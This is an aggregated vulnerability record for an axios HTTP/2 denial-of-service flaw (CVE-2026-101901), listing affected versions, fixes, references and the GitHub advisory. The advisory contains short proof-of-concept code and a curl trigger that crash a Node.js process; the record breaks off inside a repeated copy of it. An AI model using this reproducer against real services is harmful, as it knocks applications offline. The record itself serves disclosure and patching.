{"id":"CVE-2026-101901","aliases":["CLSA-2026-1790854830","CLSA-2026-1792190983","CLSA-2026-1792193199","CLSA-2026-1792429081","CLSA-2026-1792429317","CLSA-2026-1792447518","CLSA-2026-1792488905","CLSA-2026-1793101849","CLSA-2026-1793109367","CLSA-2026-1794060370","DEBIAN-CVE-2026-101901","EUVD-2026-88370","GHSA-542g-h47m-68v8","RHSA-2026:74869","RHSA-2026:74871","RHSA-2026:74872","ROOT-APP-NPM-CVE-2026-101901","UBUNTU-CVE-2026-101901"],"status":"published","title":"Axios: Denial of Service  via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00536,"percentile":0.45451,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2026-09-28T17:16:21Z","modified":"2026-11-07T19:00:38Z","fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["1.20.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.20.0-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"axios","fixed_in":["1.18.0-aikido.1","1.16.1-aikido.5","1.18.1-aikido.1","1.19.0-aikido.1","1.19.0-aikido.2","1.15.0-aikido.14"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/axios","fixed_in":["1.18.0-root.io.1","1.16.1-root.io.5","1.18.1-root.io.1","1.19.0-root.io.1","1.19.0-root.io.2","1.15.0-root.io.14"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.0"},{"fixed":"1.20.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.18.1-tuxcare.0"},{"fixed":"1.18.1-tuxcare.1"}]}],"versions":["1.18.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.5-tuxcare.0"},{"fixed":"1.13.5-tuxcare.2"}]}],"versions":["1.13.5","1.13.5-tuxcare.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.0-tuxcare.0"},{"fixed":"1.16.0-tuxcare.3"}]}],"versions":["1.16.0","1.16.0-tuxcare.1","1.16.0-tuxcare.2"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.17.0-tuxcare.0"},{"fixed":"1.17.0-tuxcare.3"}]}],"versions":["1.17.0","1.17.0-tuxcare.1","1.17.0-tuxcare.2"],"bundled":12},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.18.0-tuxcare.0"},{"fixed":"1.18.0-tuxcare.2"}]}],"versions":["1.18.0","1.18.0-tuxcare.1"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.1-tuxcare.0"},{"fixed":"1.16.1-tuxcare.1"}]}],"versions":["1.16.1"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.19.0-tuxcare.0"},{"fixed":"1.19.0-tuxcare.1"}]}],"versions":["1.19.0"],"bundled":12},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.2-tuxcare.0"},{"fixed":"1.13.2-tuxcare.2"}]}],"versions":["1.13.2","1.13.2-tuxcare.1"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.6-tuxcare.0"},{"fixed":"1.13.6-tuxcare.1"}]}],"versions":["1.13.6"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.15.0-tuxcare.0"},{"fixed":"1.15.0-tuxcare.1"}]}],"versions":["1.15.0"],"bundled":12},{"source":"osv","ecosystem":"Debian:13","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.20.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.20.0-1"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.13.0"},{"fixed":"1.20.0"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.6-0.6.hum1"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana12.4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.4.12-0.3.hum1"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.1-0.9.hum1"}]}],"bundled":11},{"source":"osv","ecosystem":"Root:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-aikido.1"},{"fixed":"1.16.1-aikido.5"},{"fixed":"1.18.1-aikido.1"},{"fixed":"1.19.0-aikido.1"},{"fixed":"1.19.0-aikido.2"},{"fixed":"1.15.0-aikido.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0-root.io.1"},{"fixed":"1.16.1-root.io.5"},{"fixed":"1.18.1-root.io.1"},{"fixed":"1.19.0-root.io.1"},{"fixed":"1.19.0-root.io.2"},{"fixed":"1.15.0-root.io.14"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.2+dfsg-1build1","1.16.0-1","1.18.0-1","1.19.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]}],"products":[{"vendor":"axios","product":"axios"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-542g-h47m-68v8","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/axios/axios/pull/11141","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/axios/axios/releases/tag/v1.20.0","tags":["x_refsource_MISC","web","article","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101901","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-542g-h47m-68v8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101901.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-101901","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:74869","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101903","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-93981","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101906","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101898","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101907","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101909","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101908","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101900","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101905","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101902","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101901","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101904","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74869.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2538284","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-93981","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93981","tags":["advisory"]},{"url":"https://github.com/honojs/hono/security/advisories/GHSA-hxh3-vqpv-xpqv","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/hono-jsx-before-4.13.7-cross-site-scripting-via-unescaped-strings","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542571","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101898","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101898","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3pq3-5fj3-cg6v","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542576","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101900","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101900","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542577","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101901","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542575","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101902","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101902","tags":["advisory"]},{"url":"https://github.com/axios/axios/releases/tag/v0.34.0","tags":["article"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542580","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101903","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101903","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-c29m-xwm3-cm6r","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542579","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101904","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101904","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542584","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101905","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101905","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542583","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101906","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101906","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-mghh-pgcx-3jjj","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542586","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101907","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101907","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542592","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101908","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101908","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-vh66-26gq-q6x8","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542593","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101909","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101909","tags":["advisory"]},{"url":"https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b","tags":["article"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:74871","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-93450","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74871.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2538979","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-93450","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93450","tags":["advisory"]},{"url":"https://github.com/go-openapi/swag","tags":["article"]},{"url":"https://github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/adapter.go#L68","tags":["article"]},{"url":"https://github.com/go-openapi/swag/blob/v0.27.0/jsonutils/adapters/stdlib/json/ordered_map.go#L214","tags":["article"]},{"url":"https://github.com/go-openapi/swag/commit/0c24346ced59a25811e8694a915e7131d25ccb0e","tags":["article"]},{"url":"https://github.com/go-openapi/swag/security/advisories/GHSA-xh24-9qpg-8w28","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/go-openapi-swag-jsonutils-before-0.27.1-uncontrolled-recursion-in-ordered-json-marshal-and-unmarshal","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:74872","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74872.json","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-101901","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-101901","title":"Axios: Denial of Service  via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T17:16:21.868Z","modified":"2026-10-01T14:41:01.155Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:20:09.808851Z"}],"euvd":[{"id":"EUVD-2026-88370","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T17:16:21Z","modified":"2026-10-01T14:41:01Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:46.15359Z"}],"ghsa":[{"id":"GHSA-542g-h47m-68v8","title":"Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization","description":"## Summary\n\nAxios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.\n\nThis affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.\n\n## Impact\n\nThe impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.\n\nThis does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.\n\n## Affected Functionality\n\nAffected path:\n\n- Node.js HTTP adapter\n- httpVersion: 2\n- HTTP/2 session creation/reuse through Http2Sessions\n- Network/session failures emitted as ClientHttp2Session error events\n\nCaller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.\n\n## Technical Details\n\nHttp2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.\n\nWhen the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.\n\n## Proof of Concept of Attack\n```js\nimport axios from './index.js';\n\nawait axios.get('http://127.0.0.1:1/', {\n  httpVersion: 2,\n  timeout: 1000\n});\n```\n\nExpected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.\n\n## Workarounds\n\nDisable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \nHi, i'm RelunSec a security researcher working with **InsiteTech.jp**\n\ni want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server\n\n```js\nconst http = require('http');\n// Import the local axios version to ensure the patch is active\nconst axios = require('../../lib/axios.js').default; \nconst url = require('url');\n\n// A public HTTP/2 server to make internal requests to.\n// This simulates an external service your application might interact with over HTTP/2.\nconst TARGET_URL = 'https://nghttp2.org/'; \nconst PORT = 3000;\n\nconst server = http.createServer(async (req, res) =\u003e {\n  const parsedUrl = url.parse(req.url, true);\n  const http2optionId = parsedUrl.query.http2optionId;\n\n  if (!http2optionId) {\n  console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);\n  res.writeHead(400, { 'Content-Type': 'text/plain' });\n  res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\\n');\n  return; \n}\n\n  console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);\n\n  // Create an Axios instance configured for HTTP/2\n  // The 'id' in http2Options makes each session configuration unique.\n  const axiosInstance = axios.create({\n    baseURL: TARGET_URL,\n    httpVersion: 2,\n    http2Options: {\n      // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert\n      id: http2optionId, // This is the attacker-controlled unique part\n    },\n    // Adding a short timeout to prevent attacker from waiting too long if target is slow\n    timeout: 5000 \n  });\n\n  try {\n    const response = await axiosInstance.get('/');\n    res.writeHead(200, { 'Content-Type': 'text/plain' });\n    res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\\nStatus: ${response.status}`);\n  } catch (error) {\n    // Check for the specific error indicating session limit reached\n    if (error.isAxiosError \u0026\u0026 error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {\n      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n      res.writeHead(500, { 'Content-Type': 'text/plain' });\n      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);\n    } else {\n      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);\n      res.writeHead(500, { 'Content-Type': 'text/plain' });\n      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);\n    }\n  }\n});\n\nserver.listen(PORT, () =\u003e {\n  console.log(`PoC Server listening on http://localhost:${PORT}`);\n  console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);\n  console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);\n  console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);\n});\n```\n\ni tested all that in latest git version, after starting the server.cjs, to trigger that you just need do\n\n```rust\nrelunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi\ncurl: (52) Empty reply from server\n```\n\nthat is extremly simple to trigger\n\nit confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash\n\u003c/details\u003e\n\n---","status":"published","published":"2026-09-30T15:01:07Z","modified":"2026-09-30T15:01:08Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:41:23.783773Z"}],"nvd":[{"id":"CVE-2026-101901","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T18:17:18.233Z","modified":"2026-10-01T15:17:24.077Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-101901","title":"Axios: Denial of Service  via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T17:16:21.868Z","modified":"2026-10-28T02:30:39.639251098Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"DEBIAN-CVE-2026-101901","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.13.0 until 1.20.0, Http2Sessions does not install adequate error handling for a ClientHttp2Session during Axios HTTP/2 session initialization or reuse. A request uses httpVersion: 2 and the ClientHttp2Session emits an error during session initialization or reuse. The unhandled session error escapes normal Promise rejection handling. The uncaught error can terminate the Node.js process and cause denial of service. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T18:17:18.233Z","modified":"2026-10-04T00:00:08.760754727Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:48.440897Z"},{"id":"GHSA-542g-h47m-68v8","title":"Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization","description":"## Summary\n\nAxios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.\n\nThis affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.\n\n## Impact\n\nThe impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.\n\nThis does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.\n\n## Affected Functionality\n\nAffected path:\n\n- Node.js HTTP adapter\n- httpVersion: 2\n- HTTP/2 session creation/reuse through Http2Sessions\n- Network/session failures emitted as ClientHttp2Session error events\n\nCaller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.\n\n## Technical Details\n\nHttp2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.\n\nWhen the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.\n\n## Proof of Concept of Attack\n```js\nimport axios from './index.js';\n\nawait axios.get('http://127.0.0.1:1/', {\n  httpVersion: 2,\n  timeout: 1000\n});\n```\n\nExpected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.\n\n## Workarounds\n\nDisable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \nHi, i'm RelunSec a security researcher working with **InsiteTech.jp**\n\ni want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server\n\n```js\nconst http = require('http');\n// Import the local axios version to ensure the patch is active\nconst axios = require('../../lib/axios.js').default; \nconst url = require('url');\n\n// A public HTTP/2 server to make internal requests to.\n// This simulates an external service your application might interact with over HTTP/2.\nconst TARGET_URL = 'https://nghttp2.org/'; \nconst PORT = 3000;\n\nconst server = http.createServer(async (req, res) =\u003e {\n  const parsedUrl = url.parse(req.url, true);\n  const http2optionId = parsedUrl.query.http2optionId;\n\n  if (!http2optionId) {\n  console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);\n  res.writeHead(400, { 'Content-Type': 'text/plain' });\n  res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\\n');\n  return; \n}\n\n  console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);\n\n  // Create an Axios instance configured for HTTP/2\n  // The 'id' in http2Options makes each session configuration unique.\n  const axiosInstance = axios.create({\n    baseURL: TARGET_URL,\n    httpVersion: 2,\n    http2Options: {\n      // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert\n      id: http2optionId, // This is the attacker-controlled unique part\n    },\n    // Adding a short timeout to prevent attacker from waiting too long if target is slow\n    timeout: 5000 \n  });\n\n  try {\n    const response = await axiosInstance.get('/');\n    res.writeHead(200, { 'Content-Type': 'text/plain' });\n    res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\\nStatus: 